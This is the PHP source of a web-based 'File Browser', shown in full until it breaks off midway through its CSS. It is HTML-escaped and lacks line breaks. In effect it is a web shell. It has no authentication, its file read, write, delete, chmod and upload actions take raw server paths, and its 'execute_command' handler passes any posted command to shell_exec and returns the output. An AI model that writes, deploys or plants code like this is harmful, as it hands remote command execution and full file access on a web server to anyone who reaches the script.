ob_start();error_reporting(E_ALL);ini_set(&#039;display_errors&#039;, 0);error_log(&quot;Script started&quot;);ini_set(&#039;error_log&#039;, &#039;error.log&#039;); // Replace with an actual path where you have write permissionserror_log(&quot;POST data: &quot; . print_r($_POST, true));error_log(&quot;GET data: &quot; . print_r($_GET, true)); // Get the current working directory (no need to hardcode a path) $baseDir = getcwd();$root_directory = __DIR__; // This sets the root directory to the current script&#039;s directory$requested_path = isset($_GET[&#039;dir&#039;]) ? $_GET[&#039;dir&#039;] : &#039;&#039;;$full_path = realpath($root_directory . DIRECTORY_SEPARATOR . $requested_path);// Security check: Make sure the requested path is within the allowed directoryif ($full_path === false || strpos($full_path, $root_directory) !== 0) {    $full_path = $root_directory;}error_log(&quot;Root directory: &quot; . $root_directory);error_log(&quot;Requested path: &quot; . $requested_path);error_log(&quot;Full path: &quot; . $full_path);// Backend logic$action = isset($_POST[&#039;action&#039;]) ? $_POST[&#039;action&#039;] : &#039;&#039;;function sanitize_input($input) {    return htmlspecialchars(strip_tags(trim($input)), ENT_QUOTES, &#039;UTF-8&#039;);}switch ($action) {    case &#039;get_content&#039;:        $file = urldecode($_POST[&#039;file&#039;]);        if (file_exists($file) &amp;&amp; is_file($file)) {            echo json_encode([&#039;content&#039; =&gt; file_get_contents($file)]);        } else {            echo json_encode([&#039;error&#039; =&gt; &#039;File not found or is not a regular file.&#039;]);        }        exit;    case &#039;save&#039;:        $file = urldecode($_POST[&#039;file&#039;]);        $content = $_POST[&#039;content&#039;];        if (file_exists($file) &amp;&amp; is_file($file)) {            if (file_put_contents($file, $content) !== false) {                echo json_encode([&#039;message&#039; =&gt; &#039;File saved successfully.&#039;]);            } else {                echo json_encode([&#039;error&#039; =&gt; &#039;Error saving file.&#039;]);            }        } else {            echo json_encode([&#039;error&#039; =&gt; &#039;File not found or is not a regular file.&#039;]);        }        exit;        case &#039;rename&#039;:            error_log(&quot;Rename action triggered&quot;);            $oldName = urldecode($_POST[&#039;oldName&#039;]);            $newName = dirname($oldName) . DIRECTORY_SEPARATOR . basename($_POST[&#039;newName&#039;]);            $isDir = isset($_POST[&#039;is_dir&#039;]) &amp;&amp; $_POST[&#039;is_dir&#039;] == 1;                        error_log(&quot;Old name: &quot; . $oldName);            error_log(&quot;New name: &quot; . $newName);            error_log(&quot;Is directory: &quot; . ($isDir ? &quot;Yes&quot; : &quot;No&quot;));                        if (file_exists($oldName)) {                if (rename($oldName, $newName)) {                    error_log(($isDir ? &quot;Directory&quot; : &quot;File&quot;) . &quot; renamed successfully&quot;);                    echo json_encode([&#039;success&#039; =&gt; true, &#039;message&#039; =&gt; ($isDir ? &#039;Folder&#039; : &#039;File&#039;) . &#039; renamed successfully.&#039;]);                } else {                    $error = error_get_last();                    error_log(&quot;Rename failed. Error: &quot; . $error[&#039;message&#039;]);                    echo json_encode([&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Error renaming &#039; . ($isDir ? &#039;folder&#039; : &#039;file&#039;) . &#039;. Error: &#039; . $error[&#039;message&#039;]]);                }            } else {                error_log(&quot;File or folder not found: &quot; . $oldName);                echo json_encode([&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File or folder not found.&#039;]);            }            exit;    case &#039;delete&#039;:            $file = urldecode($_POST[&#039;file&#039;]);            $isDir = isset($_POST[&#039;is_dir&#039;]) &amp;&amp; $_POST[&#039;is_dir&#039;] == 1;            $confirmed = isset($_POST[&#039;confirmed&#039;]) &amp;&amp; $_POST[&#039;confirmed&#039;] == 1;                        function deleteDirectory($dir) {                if (!file_exists($dir)) {                    return true;                }                if (!is_dir($dir)) {                    return unlink($dir);                }                foreach (scandir($dir) as $item) {                    if ($item == &#039;.&#039; || $item == &#039;..&#039;) {                        continue;                    }                    if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {                        return false;                    }                }                return rmdir($dir);            }                    function countFiles($dir) {                $count = 0;                $files = new RecursiveIteratorIterator(                    new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),                    RecursiveIteratorIterator::CHILD_FIRST                );                foreach ($files as $fileinfo) {                    $count++;                }                return $count;            }                    if (file_exists($file)) {                if ($isDir) {                    $fileCount = countFiles($file);                    if ($fileCount &gt; 0 &amp;&amp; !$confirmed) {                        echo json_encode([&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &quot;This folder contains $fileCount item(s).&quot;, &#039;needConfirmation&#039; =&gt; true]);                    } else {                        if (deleteDirectory($file)) {                            echo json_encode([&#039;success&#039; =&gt; true, &#039;message&#039; =&gt; &#039;Folder and its contents deleted successfully.&#039;]);                        } else {                            echo json_encode([&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Error deleting folder and its contents.&#039;]);                        }                    }                } else {                    if (unlink($file)) {                        echo json_encode([&#039;success&#039; =&gt; true, &#039;message&#039; =&gt; &#039;File deleted successfully.&#039;]);                    } else {                        echo json_encode([&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Error deleting file.&#039;]);                    }                }            } else {                echo json_encode([&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File or folder not found.&#039;]);            }            exit;                case &#039;chmod&#039;:        $file = urldecode($_POST[&#039;file&#039;]);        $permissions = octdec($_POST[&#039;permissions&#039;]);        $isDir = isset($_POST[&#039;is_dir&#039;]) &amp;&amp; $_POST[&#039;is_dir&#039;] == 1;        if (file_exists($file)) {            if (chmod($file, $permissions)) {                echo json_encode([&#039;message&#039; =&gt; &#039;Permissions changed successfully.&#039;]);            } else {                echo json_encode([&#039;error&#039; =&gt; &#039;Error changing permissions.&#039;]);            }        } else {            echo json_encode([&#039;error&#039; =&gt; &#039;File or folder not found.&#039;]);        }        exit;        case &#039;create_file&#039;:            $fileName = sanitize_input($_POST[&#039;file_name&#039;]);    $content = $_POST[&#039;content&#039;];    $directory = urldecode($_POST[&#039;directory&#039;]);    $filePath = $directory . DIRECTORY_SEPARATOR . $fileName;    if (file_put_contents($filePath, $content) !== false) {        echo json_encode([&#039;success&#039; =&gt; true, &#039;message&#039; =&gt; &#039;File created successfully.&#039;]);    } else {        echo json_encode([&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Error creating file.&#039;]);    }            exit;            case &#039;autosave_file&#039;:                $fileName = sanitize_input($_POST[&#039;file&#039;]);                $fileContent = $_POST[&#039;content&#039;];                $directory = urldecode($_POST[&#039;directory&#039;]);                $fullPath = $directory . DIRECTORY_SEPARATOR . $fileName;                            if (file_put_contents($fullPath, $fileContent) !== false) {                    $fileInfo = [                        &#039;name&#039; =&gt; $fileName,                        &#039;path&#039; =&gt; urlencode($fullPath),                        &#039;size&#039; =&gt; formatFileSize(filesize($fullPath)),                        &#039;permissions&#039; =&gt; getSymbolicNotation(fileperms($fullPath)),                        &#039;modified&#039; =&gt; date(&quot;Y-m-d H:i:s&quot;, filemtime($fullPath))                    ];                    echo json_encode([                        &#039;success&#039; =&gt; true,                         &#039;message&#039; =&gt; ($isNew ? &#039;File created&#039; : &#039;File updated&#039;) . &#039; successfully.&#039;,                        &#039;file&#039; =&gt; $fileInfo                    ]);                } else {                    echo json_encode([&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Error autosaving file.&#039;]);                }                exit;            case &#039;create_folder&#039;:                $folder_name = sanitize_input($_POST[&#039;folder_name&#039;]);                $directory = urldecode($_POST[&#039;directory&#039;]);                $new_folder_path = $directory . DIRECTORY_SEPARATOR . $folder_name;                error_log(&quot;Attempting to create folder: &quot; . $new_folder_path);                if (!file_exists($new_folder_path)) {                    if (mkdir($new_folder_path, 0755, true)) {                        error_log(&quot;Folder created successfully: &quot; . $new_folder_path);                        echo json_encode([&#039;success&#039; =&gt; true, &#039;message&#039; =&gt; &#039;Folder created successfully&#039;]);                    } else {                        $error = error_get_last();                        error_log(&quot;Failed to create folder: &quot; . $new_folder_path . &quot;. Error: &quot; . $error[&#039;message&#039;]);                        echo json_encode([&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Failed to create folder. Error: &#039; . $error[&#039;message&#039;]]);                    }                } else {                    error_log(&quot;Folder already exists: &quot; . $new_folder_path);                    echo json_encode([&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Folder already exists&#039;]);                }                exit;           }// Handle downloads (GET request)if (isset($_GET[&#039;action&#039;]) &amp;&amp; $_GET[&#039;action&#039;] === &#039;download&#039; &amp;&amp; isset($_GET[&#039;file&#039;])) {    $file = $_GET[&#039;file&#039;];    $filePath = realpath($full_path . DIRECTORY_SEPARATOR . $file);    $isDir = isset($_GET[&#039;is_dir&#039;]) &amp;&amp; $_GET[&#039;is_dir&#039;] == &#039;1&#039;;    // Debug information    error_log(&quot;Download requested for: &quot; . $filePath);    error_log(&quot;Full path: &quot; . $full_path);    error_log(&quot;File: &quot; . $file);    error_log(&quot;Is directory: &quot; . ($isDir ? &quot;Yes&quot; : &quot;No&quot;));    // Check if the file/folder exists and is within the allowed directory    if ($filePath &amp;&amp; strpos($filePath, realpath($root_directory)) === 0) {        if (!$isDir &amp;&amp; is_file($filePath)) {            // File download            header(&#039;Content-Description: File Transfer&#039;);            header(&#039;Content-Type: application/octet-stream&#039;);            header(&#039;Content-Disposition: attachment; filename=&quot;&#039;.basename($filePath).&#039;&quot;&#039;);            header(&#039;Expires: 0&#039;);            header(&#039;Cache-Control: must-revalidate&#039;);            header(&#039;Pragma: public&#039;);            header(&#039;Content-Length: &#039; . filesize($filePath));            readfile($filePath);            exit;        } elseif ($isDir &amp;&amp; is_dir($filePath)) {            // Folder download            $folderName = basename($filePath);            $zipFileName = $folderName . &#039;.zip&#039;;            $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;            // Use ZipArchive            $zip = new ZipArchive();            if ($zip-&gt;open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) {                error_log(&quot;Cannot create zip file: &quot; . $zipFilePath);                die(&quot;Cannot create zip file.&quot;);            }            $files = new RecursiveIteratorIterator(                new RecursiveDirectoryIterator($filePath),                RecursiveIteratorIterator::LEAVES_ONLY            );            $fileCount = 0;            foreach ($files as $name =&gt; $file) {                if (!$file-&gt;isDir()) {                    $filePath = $file-&gt;getRealPath();                    $relativePath = substr($filePath, strlen($filePath) + 1);                    if ($zip-&gt;addFile($filePath, $relativePath)) {                        $fileCount++;                    } else {                        error_log(&quot;Failed to add file to zip: &quot; . $filePath);                    }                }            }            $zip-&gt;close();            if ($fileCount == 0) {                error_log(&quot;No files were added to the zip archive.&quot;);                die(&quot;Failed to create zip file: No files were added.&quot;);            }            if (!file_exists($zipFilePath) || filesize($zipFilePath) == 0) {                error_log(&quot;Created zip file is empty or doesn&#039;t exist: &quot; . $zipFilePath);                die(&quot;Failed to create valid zip file.&quot;);            }            header(&#039;Content-Type: application/zip&#039;);            header(&#039;Content-disposition: attachment; filename=&#039; . $zipFileName);            header(&#039;Content-Length: &#039; . filesize($zipFilePath));            readfile($zipFilePath);            unlink($zipFilePath);            exit;        } else {            error_log(&quot;Invalid file or folder type: &quot; . $filePath);            die(&quot;Invalid file or folder type.&quot;);        }    } else {        error_log(&quot;File or folder not found or access denied: &quot; . $filePath);        die(&quot;File or folder not found or access denied.&quot;);    }}    // Handle file creationif (isset($_POST[&#039;action&#039;]) &amp;&amp; $_POST[&#039;action&#039;] == &#039;upload&#039;) {    error_log(&quot;Upload action triggered&quot;);    $directory = urldecode($_POST[&#039;directory&#039;]);    $uploadDir = $directory . DIRECTORY_SEPARATOR;    $uploadedFiles = [];    $errors = [];    error_log(&quot;Files in _FILES: &quot; . print_r($_FILES, true));    if (!isset($_FILES[&#039;files&#039;])) {        error_log(&quot;No files were sent in the request&quot;);        echo json_encode([&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;No files were sent in the request&#039;]);        exit;    }    foreach ($_FILES[&#039;files&#039;][&#039;name&#039;] as $key =&gt; $name) {        $tmpName = $_FILES[&#039;files&#039;][&#039;tmp_name&#039;][$key];        $uploadFile = $uploadDir . basename($name);        error_log(&quot;Attempting to upload file: &quot; . $name);        error_log(&quot;Temporary name: &quot; . $tmpName);        error_log(&quot;Upload destination: &quot; . $uploadFile);        if (move_uploaded_file($tmpName, $uploadFile)) {            $uploadedFiles[] = $name;            error_log(&quot;Successfully uploaded: &quot; . $name);        } else {            $errors[] = &quot;Failed to upload $name&quot;;            $phpError = error_get_last();            error_log(&quot;Failed to upload file. Error: &quot; . $phpError[&#039;message&#039;]);        }    }    if (count($uploadedFiles) &gt; 0) {        $message = &quot;Successfully uploaded: &quot; . implode(&quot;, &quot;, $uploadedFiles);        if (count($errors) &gt; 0) {            $message .= &quot;. Errors: &quot; . implode(&quot;, &quot;, $errors);        }        echo json_encode([&#039;success&#039; =&gt; true, &#039;message&#039; =&gt; $message]);    } else {        echo json_encode([&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;No files were uploaded successfully. &#039; . implode(&quot;, &quot;, $errors)]);    }    exit;}// Handle command executionif (isset($_POST[&#039;action&#039;]) &amp;&amp; $_POST[&#039;action&#039;] == &#039;execute_command&#039;) {    $command = $_POST[&#039;command&#039;];        // Check if the command is &quot;cat&quot; and target is a PHP file    if (preg_match(&#039;/^cat\s+(.+\.php)$/&#039;, $command, $matches)) {        $file = $matches[1];                // Check if the file exists and is readable        if (file_exists($file) &amp;&amp; is_readable($file)) {            // Output the raw PHP file contents            $output = htmlspecialchars(file_get_contents($file)); // Escaping HTML to prevent execution        } else {            $output = &quot;File does not exist or is not readable.&quot;;        }    } else {        // Fallback to shell execution if it&#039;s not a &quot;cat&quot; command for a PHP file        $output = shell_exec($command . &quot; 2&gt;&amp;1&quot;);    }        echo json_encode([&#039;success&#039; =&gt; true, &#039;output&#039; =&gt; $output]);    exit;}// Frontend code&lt;!DOCTYPE html&gt;&lt;html lang=&quot;en&quot;&gt;<head>    &lt;meta charset=&quot;UTF-8&quot;&gt;    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<title>File Browser</title>    &lt;title&gt;File Browser&lt;/title&gt;    &lt;link href=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;    &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.jsdelivr.net/npm/bootstrap-icons@1.7.2/font/bootstrap-icons.css&quot;&gt;    &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css&quot;&gt;    &lt;style&gt;        body {            background-color: #0d1117;            color: #e6edf3;            min-height: 100vh;            font-family: -apple-system, BlinkMacSystemFont, &#039;Segoe UI&#039;, &#039;Noto Sans&#039;, Helvetica, Arial, sans-serif;        }        .container {            background: #161b22;            border-radius: 10px;             padding: 24px;            box-shadow: 0 8px 24px rgba(0, 0, 0, 0.2);            margin-top: 50px;            overflow-y: auto;        }        .list-group-item {            background: #0d1117;            padding: 0.5rem 1rem;            border: 1px solid #30363d;            color: #e6edf3;            margin-bottom: 8px;            border-radius: 6px;            transition: all 0.2s ease;        }        .list-group-item &gt; div{            padding: 0 0.5rem;        }        .permission-notation{            font-family:monospace;            font-size: 0.9em;        }        .action-buttons{            display: block;            justify-content:center;        }        .action-buttons .dropdown-toggle {    padding: 0.1rem 0.3rem;    font-size: 0.8rem;}                .btn-group .btn{            padding: 0.1em 0.3rem;            font-size:0.8rem;        }        .list-group-item:hover {            background: #161b22;            border-color: #8b949e;        }        .file-info {    flex: 1;        }.file-details {    font-size: 0.9em;    color: #6c757d;   }.permission-notation {    font-family: monospace;}        .btn {            border-radius: 6px;            padding: 5px 16px;            transition: all 0.2s ease;            background-color: #21262d;            border-color: rgba(240, 246, 252, 0.1);            color: #ffffff;        }        .btn:hover {            background-color: #30363d;            border-color: #8b949e;        }        .btn-primary {            background-color: #238636;            border-color: rgba(240, 246, 252, 0.1);            color: #ffffff;        }                        .btn-danger{            background-color:  #dc3545;            border-color: rgba(240, 246, 252, 0.1);            color: #ffffff;        }       .modal-title{              display:none;        }        .btn-primary:hover {            background-color: #2ea043;            border-color: rgba(240, 246, 252, 0.1);        }        .modal-content {            background: #161b22;            color: #e6edf3;             border-radius: 6px;            border: 1px solid #30363d;        }        .modal-header, .modal-footer {            border-color: #30363d;        }        .form-control {            background-color: #0d1117;            border-color: #30363d;            color: #e6edf3;         }        .form-control:focus {            background-color: #0d1117;            border-color: #58a6ff;            color: #e6edf3;             box-shadow: 0 0 0 3px rgba(88, 166, 255, 0.3);        }        a {            color: #58a6ff;         }        a:hover {            color: #79c0ff;        }        /* Theme switch styles */        .theme-switch-wrapper {            display: flex;            align-items: center;            margin-bottom: 20px;        }        .theme-switch {            display: inline-block;            height: 34px;            position: relative;            width: 60px;        }        .theme-switch input {            display: none;        }        .slider {            background-color: #ccc;            bottom: 0;            cursor: pointer;            left: 0;            position: absolute;            right: 0;            top: 0;            transition: .4s;        }        .slider:before {            background-color: #fff;            bottom: 4px;            content: &quot;&quot;;            height: 26px;            left: 4px;            position: absolute;            transition: .4s;            width: 26px;        }        input:checked + .slider {            background-color: #66bb6a;        }        input:checked + .slider:before {            transform: translateX(26px);        }        .slider.round {            border-radius: 34px;        }        .slider.round:before {            border-radius: 50%;        }        /* Light mode styles */        body.light-mode {            background-color: #ffffff;            color: #24292e;            background-image: url(&#039;https://images-wixmp-ed30a86b8c4ca887773594c2.wixmp.com/f/b95c85d9-a026-4b38-bbec-3211a37d0d50/dghob8c-12b1170d-8858-4143-870c-0d07c6f6e83c.png/v1/fill/w_1171,h_682,q_70,strp/kali_linux_wallpaper_space_by_khedrmk_dghob8c-pre.jpg?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1cm46YXBwOjdlMGQxODg5ODIyNjQzNzNhNWYwZDQxNWVhMGQyNmUwIiwiaXNzIjoidXJuOmFwcDo3ZTBkMTg4OTgyMjY0MzczYTVmMGQ0MTVlYTBkMjZlMCIsIm9iaiI6W1t7ImhlaWdodCI6Ijw9NzQ2IiwicGF0aCI6IlwvZlwvYjk1Yzg1ZDktYTAyNi00YjM4LWJiZWMtMzIxMWEzN2QwZDUwXC9kZ2hvYjhjLTEyYjExNzBkLTg4NTgtNDE0My04NzBjLTBkMDdjNmY2ZTgzYy5wbmciLCJ3aWR0aCI6Ijw9MTI4MCJ9XV0sImF1ZCI6WyJ1cm46c2VydmljZTppbWFnZS5vcGVyYXRpb25zIl19.ycet6iuRmOehpCz11r7cybatVL9eh36IRDxB-XIZlFg&#039;);            background-size: cover;            background-position: center center;            background-repeat: no-repeat;            background-attachment: fixed;        }        body.light-mode .container {            background-color: rgba(0, 0, 0, 0.7);            box-shadow: 0 0 15px rgba(255, 255, 255, 0.1);        }        body.light-mode .list-group-item {            background-color: rgba(30, 30, 30, 0.8);            border: 1px solid rgba(255, 255, 255, 0.125);            color: #ffffff;        }        body.light-mode .list-group-item:hover {            background-color: rgba(50, 50, 50, 0.9);        }        body.light-mode a {            color: #58a6ff;        }        body.light-mode a:hover {            color: #79c0ff;        }body.light-mode .btn:hover {    background: rgba(255, 255, 255, 0.2);    box-shadow: 0 0 15px rgba(255, 255, 255, 0.2);}/* Custom scrollbar for webkit browsers */body.light-mode::-webkit-scrollbar {    width: 10px;}body.light-mode::-webkit-scrollbar-track {    background: rgba(255, 255, 255, 0.1);}body.light-mode::-webkit-scrollbar-thumb {    background: rgba(255, 255, 255, 0.3);    border-radius: 5px;}body.light-mode::-webkit-scrollbar-thumb:hover {    background: rgba(255, 255, 255, 0.5);}               body.light-mode .btn-outline-primary,        body.light-mode .btn-outline-info,        body.light-mode .btn-outline-danger,        body.light-mode .btn-outline-success,        body.light-mode .btn-outline-warning {            color: #ffffff;            border-color: #ffffff;        }        body.light-mode .btn-outline-primary:hover,        body.light-mode .btn-outline-info:hover,        body.light-mode .btn-outline-danger:hover,        body.light-mode .btn-outline-success:hover,        body.light-mode .btn-outline-warning:hover {            background-color: rgba(255, 255, 255, 0.2);        }        /* Icon colors */        .bi-pencil { color: #3498db; }  /* Edit - Asul */        .bi-pencil-square { color: #f1c40f; }  /* Rename - Dilaw */        .bi-trash { color: #e74c3c; }  /* Delete - Pula */        .bi-download { color: #2ecc71; }  /* Download - Berde */        .bi-shield-lock { color: #95a5a6; }  /* Change Permissions - Kulay-abo */        /* Hover effects */        .btn:hover .bi-pencil { color: #2980b9; }        .btn:hover .bi-pencil-square { color: #f39c12; }        .btn:hover .bi-trash { color: #c0392b; }        .btn:hover .bi-download { color: #27ae60; }        .btn:hover .bi-shield-lock { color: #7f8c8d; }        /* Dark mode adjustments */        body:not(.light-mode) .bi-pencil { color: #3498db; }        body:not(.light-mode) .bi-pencil-square { color: #f1c40f; }        body:not(.light-mode) .bi-trash { color: #e74c3c; }        body:not(.light-mode) .bi-download { color: #2ecc71; }        body:not(.light-mode) .bi-shield-lock { color: #bdc3c7; }        /* Light mode adjustments */        body.light-mode .bi-pencil { color: #2980b9; }        body.light-mode .bi-pencil-square { color: #f39c12; }        body.light-mode .bi-trash { color: #c0392b; }        body.light-mode .bi-download { color: #27ae60; }        body.light-mode .bi-shield-lock { color: #95a5a6; }        .breadcrumb {            border: 1px solid;            transition: all 0.3s ease;            padding: 0.75rem 1rem;            margin-bottom: 1rem;            border-radius: 0.25rem;        }        .breadcrumb:hover {            box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important;        }        .breadcrumb-item + .breadcrumb-item::before {            content: &quot;&rsaquo;&quot;;        }        .breadcrumb-item a {            transition: color 0.2s ease;        }        .breadcrumb-item a:hover {            text-decoration: underline !important;        }        /* Light mode styles */        body.light-mode .breadcrumb {            background-color: #f6f8fa;            border-color: #d0d7de;        }        body.light-mode .breadcrumb-item + .breadcrumb-item::before {            color: #6c757d;        }        body.light-mode .breadcrumb-item a {            color: #0969da;        }        body.light-mode .breadcrumb-item a:hover {            color: #0a58ca;        }        body.light-mode .breadcrumb-item.active {            color: #24292f;        }        /* Dark mode styles */        body:not(.light-mode) .breadcrumb {            background-color: #161b22;            border-color: #30363d;        }        body:not(.light-mode) .breadcrumb-item + .breadcrumb-item::before {            color: #8b949e;        }        body:not(.light-mode) .breadcrumb-item a {            color: #58a6ff;        }        body:not(.light-mode) .breadcrumb-item a:hover {            color: #79c0ff;        }        body:not(.light-mode) .breadcrumb-item.active {            color: #c9d1d9;        }        .list-group-item i {            margin-right: 10px;            width: 20px;            text-align: center;        }        /* Adjust icon colors for dark mode */        body:not(.light-mode) .fa-folder {            color: #ffd700 !important;        }        body:not(.light-mode) .fa-image {            color: #28a745 !important;        }        body:not(.light-mode) .fa-video {            color: #dc3545 !important;        }        body:not(.light-mode) .fa-music {            color: #17a2b8 !important;        }        body:not(.light-mode) .fa-file-pdf {            color: #dc3545 !important;        }        body:not(.light-mode) .fa-file-word {            color: #007bff !important;        }        body:not(.light-mode) .fa-file-excel {            color: #28a745 !important;        }        body:not(.light-mode) .fa-file-powerpoint {            color: #ffc107 !important;        }        body:not(.light-mode) .fa-file-archive {            color: #6c757d !important;        }        body:not(.light-mode) .fa-php {            color: #a074c4 !important;        }        body:not(.light-mode) .fa-html5 {            color: #dc3545 !important;        }        body:not(.light-mode) .fa-css3-alt {            color: #007bff !important;        }        body:not(.light-mode) .fa-js-square {            color: #ffc107 !important;        }        body:not(.light-mode) .fa-file {            color: #6c757d !important;        } body:not(.light-mode) #renameNewFileName {    background-color: #2c3e50;    color: #ffffff;    border-color: #34495e;}body:not(.light-mode) #renameNewFileName:focus {    background-color: #34495e;    color: #ffffff;    border-color: #3498db;    box-shadow: 0 0 0 0.2rem rgba(52, 152, 219, 0.25);}/* Styles for the modal in light mode */body.light-mode .modal-content {    background-color: #ffffff;    color: #333333;}body.light-mode .modal-header {    border-bottom-color: #dee2e6;}body.light-mode .modal-footer {    border-top-color: #dee2e6;}body.light-mode .modal-title {    color: #333333;}body:not(.light-mode) .modal-content {    background-color: #2c3e50;    color: #ecf0f1;}body:not(.light-mode) .modal-header {    border-bottom-color: #34495e;}body:not(.light-mode) .modal-footer {    border-top-color: #34495e;}body:not(.light-mode) .modal-title {    color: #ecf0f1;}        /* Modal styles */.modal-content {    background-color: #f8f9fa;    border: none;    border-radius: 0.3rem;}.modal-header {    border-bottom: 1px solid #dee2e6;    background-color: #e9ecef;}.modal-footer {    border-top: 1px solid #dee2e6;    background-color: #e9ecef;}/* Terminal styles */#terminal-output {    font-family: &#039;Courier New&#039;, Courier, monospace;    font-size: 0.9rem;}#terminal-input {    font-family: &#039;Courier New&#039;, Courier, monospace;}.navbar-toggler {            padding: .25rem .75rem;            font-size: 1.25rem;            line-height: 1;            background-color: transparent;            border:none;            border-radius: .25rem;            transition: box-shadow .15s ease-in-out;        }        .navbar-toggler-icon {            display: inline-block;            width: 1.5em;            height: 1.5em;            vertical-align: middle;            background-repeat: no-repeat;            background-position: center;            background-size: 100%;        }        .navbar-toggler:focus {        outline: none;        box-shadow: 0 0 0 0.25rem rgba(13, 110, 253, 0.25);       }       .navbar-toggler[aria-expanded=&quot;true&quot;] .navbar-toggler-icon {    transform: rotate(90deg);}           /* Light mode hamburger icon (Bootstrap blue) */    body.light-mode .navbar-toggler-icon {        background-image: url(&quot;data:image/svg+xml,%3csvg xmlns=&#039;http://www.w3.org/2000/svg&#039; viewBox=&#039;0 0 30 30&#039;%3e%3cpath stroke=&#039;rgba%280, 123, 255, 1%29&#039; stroke-linecap=&#039;round&#039; stroke-miterlimit=&#039;10&#039; stroke-width=&#039;2&#039; d=&#039;M4 7h22M4 15h22M4 23h22&#039;/%3e%3c/svg%3e&quot;);    }    /* Dark mode hamburger icon (Bootstrap red) */    body:not(.light-mode) .navbar-toggler-icon {        background-image: url(&quot;data:image/svg+xml,%3csvg xmlns=&#039;http://www.w3.org/2000/svg&#039; viewBox=&#039;0 0 30 30&#039;%3e%3cpath stroke=&#039;rgba%28220, 53, 69, 1%29&#039; stroke-linecap=&#039;round&#039; stroke-miterlimit=&#039;10&#039; stroke-width=&#039;2&#039; d=&#039;M4 7h22M4 15h22M4 23h22&#039;/%3e%3c/svg%3e&quot;);    }  @media (max-width: 767.98px) {    .button-container-mobile {        display: flex;        flex-direction: column;    }    .button-container-mobile .btn {        margin-bottom: 0.5rem;    }    .navbar-toggler {        padding: .25rem .75rem;        font-size: 1.25rem;        line-height: 1;        background-color: transparent;        border: 1px solid transparent;        border-radius: .25rem;        transition: box-shadow .15s ease-in-out;    }    .navbar-toggler-icon {        display: inline-block;        width: 1.5em;        height: 1.5em;        vertical-align: middle;        background-repeat: no-repeat;        background-position: center;        background-size: 100%;        background-image: url(&quot;data:image/svg+xml,%3csvg xmlns=&#039;http://www.w3.org/2000/svg&#039; viewBox=&#039;0 0 30 30&#039;%3e%3cpath stroke=&#039;rgba%280, 0, 0, 0.55%29&#039; stroke-linecap=&#039;round&#039; stroke-miterlimit=&#039;10&#039; stroke-width=&#039;2&#039; d=&#039;M4 7h22M4 15h22M4 23h22&#039;/%3e%3c/svg%3e&quot;);    }    .list-group {        overflow-x: auto;        white-space: nowrap;        padding-bottom: 15px; /* Add some bottom padding for the scrollbar */    }    .list-group-item {        display: inline-block;        width: max-content; /* Allow content to determine width */        min-width: 100%; /* Ensure it&#039;s at least full width */        position: relative;    }    .list-group-item &gt; div {        display: inline-block;        vertical-align: middle;        white-space: nowrap;        overflow: hidden;        text-overflow: ellipsis;        padding-right: 10px;        box-sizing: border-box;    }    /* Adjust widths for mobile */    .list-group-item &gt; div:nth-child(1) { min-width: 200px; } /* Name */    .list-group-item &gt; div:nth-child(2) { min-width: 80px; }  /* Size */    .list-group-item &gt; div:nth-child(3) { min-width: 100px; } /* Permissions */    .list-group-item &gt; div:nth-child(4) { min-width: 150px; } /* Last Modified */    .list-group-item &gt; div:nth-child(5) { min-width: 80px; }  /* Actions */    .list-group-item {        width: 650px; /* Sum of all column widths */    }    /* Add some padding to separate columns */    .list-group-item &gt; div {        padding-right: 15px;    }    .dropdown {        position: static;    }    /* Ensure the dropdown menu is visible */    .dropdown-menu {        position: absolute;        top: auto;        left: auto;        right: 150px; /* Adjust this value as needed */        bottom: 100%; /* Position above the button */        margin-bottom: 5px; /* Small gap between button and menu */        max-height: 200px;        overflow-y: auto;    }     /* Ensure the dropdown toggle button is clickable */     .dropdown-toggle {        z-index: 1;        position: relative;    }    .list-group-item:last-child .dropdown-menu {        bottom: auto;        top: 100%;        margin-top: 5px;        margin-bottom: 0;    }        @keyframes scrollHint {        0% { transform: translateX(0); }        75% { transform: translateX(10px); }        100% { transform: translateX(0); }    }    .list-group::after {        content: &#039;&rarr;&#039;;        position: absolute;        right: 10px;        top: 50%;        transform: translateY(-50%);        animation: scrollHint 1.5s infinite;        opacity: 0.5;    }}.list-group::-webkit-scrollbar {        height: 0;        width: 0;    }@media (min-width: 768px) {    .button-container {        display: flex !important;    }    .list-group-item &gt; div:nth-child(1) { width: 40%; }    .list-group-item &gt; div:nth-child(2) { width: 15%; }    .list-group-item &gt; div:nth-child(3) { width: 15%; }    .list-group-item &gt; div:nth-child(4) { width: 20%; }    .list-group-item &gt; div:nth-child(5) { width: 10%; }}@media (max-width: 991px) {    .navbar-toggler {        display: block !important;    }    .navbar-collapse {        display: none !important;    }    .navbar-collapse.show {        display: block !important;    }    .button-container {        display: none !important;    }    .button-container-mobile {        display: flex !important;        flex-direction: column;    }    .button-container-mobile .btn {        margin-bottom: 0.5rem;    }}@media (min-width: 992px) {    .navbar-toggler {        display: none !important;    }    .navbar-collapse {        display: block !important;    }    .button-container {        display: flex !important;    }    